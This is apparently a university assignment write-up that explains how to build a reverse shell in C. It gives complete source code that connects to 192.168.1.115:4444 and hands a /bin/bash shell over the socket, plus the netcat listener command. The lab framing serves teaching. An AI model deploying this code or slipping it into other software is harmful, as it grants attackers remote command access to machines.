OHTS Exploit Development Assignment

Creating a reverse shell to access Kali through Windows

C.N Samarasekara
IT17126816

Contents

Introduction

This document was prepared to act as a brief guide for the assignment which was prepared on behalf of the Offensive Hacking Tactical and Strategic module. The requirement was to implement an exploit development which was fulfilled by implementing a reverse shell using C programming.

Requirements

Any Linux Distribution (Kali is used for this demonstration).

C compiler if not present.

Have NetCat installed and runnable in windows command prompt.

Coding using C

Use an editor to write the C code in my case I have used GNU nano. Other default editors can also be used such as the vi editor.

Import Headers

```
#include <stdio.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <stdlib.h>

#include <unistd.h>

#include <netinet/in.h>

#include <arpa/inet.h>
```

- stdio.h – header refers to standard input, output in C language in which built in functions like printf(), scanf() are defined.
- sys/socket.h – header for including several functions and structures used when creating sockets.
- sys/types – header containing definitions and data types used in system calls.
- stdlib.h – general purpose standard library for C programming.
- unistd.h – defines symbolic constants and types.
- Netinet/in.h – defines constants and structure needed for internet domain addresses.

Main Function

```
int main(void){

   int sockt;
   int port = 4444;
   struct sockaddr_in revsockaddr;

   sockt = socket(AF_INET, SOCK_STREAM, 0);
   revsockaddr.sin_family = AF_INET;
   revsockaddr.sin_port = htons(port);
   revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.115");

   connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));

   dup2(sockt, 0);
   dup2(sockt, 1);
   dup2(sockt, 2);

   char * const argv[] = {"/bin/bash", NULL};
   execve("/bin/bash", argv, NULL);
```

```
    return 0;
}
```

2 main variables are required which are sockt and port, respectively. Sockt variable is used to initiate a socket and port variable is used to assign the listeners port. In this case port 4444 is allocated. Also a struct variable called revsockaddr is also created which will be utilized later on in the code.

A socket is used to create a socket endpoint for communication. When initializing a socket 3 arguments need to be satisfied namely:

- Domain
- Type of connection
- Transmission Protocol

In this scenario to satisfy the 3 required arguments AF_INET, SOCK_STREAM and 0 are used, respectively.

- AF_INET – used to specify IPv4 connections.
- SOCK_STREAM – used to specify a 2-way connection between client and server.
- 0 – defines that the computer decides what protocol to use (tcp/udp).

Now use the created structure revsockaddr in unison with 3 system calls of the netinet/in.h header class.

- sin_family – used to specify what internet protocol is being used (Ipv4 / IPv6). In this case AF_INET is used indicating the use of IPv4.
- sin_port – used to store/convert the port.
- htons – used to convert an unsigned integer into network bytes.
- sin_addr.s_addr – specify the internet address.

Then use connect system call to provide a connection together with arguments sockt and sockaddr which is going to be stored in the revsockaddr. Here the exact length of revsockaddr needs to be specified which is performed using the sizeof system call.

Then dup2 commands are used which creates a copy of the file descriptor.

Finally, create the constant using argv[]. Argv[] array is a 1 dimensional array of strings in which each string is 1 of the arguments which will be passed to the program.

Compiling and running the Reverse Shell

In order to compile the C program a C compiler is needed. In this case gcc is used which is readily available to complie C programs on GNU/Linux distributions. Once compiled, set up the listener before running the reverse shell. To do that hop over to windows command prompt to set up the listener. To set up the listener netcat needs to be installed on windows. With netcat available execute the following command to start listening on the allocated port.

```
nc -nvlp 4444
```

Now head back to the kali terminal to run the reverse shell. Now the windows command prompt should be connected and listening to the Kali system. Just like executing commands via the Kali terminal it is now possible to do the same via windows command prompt.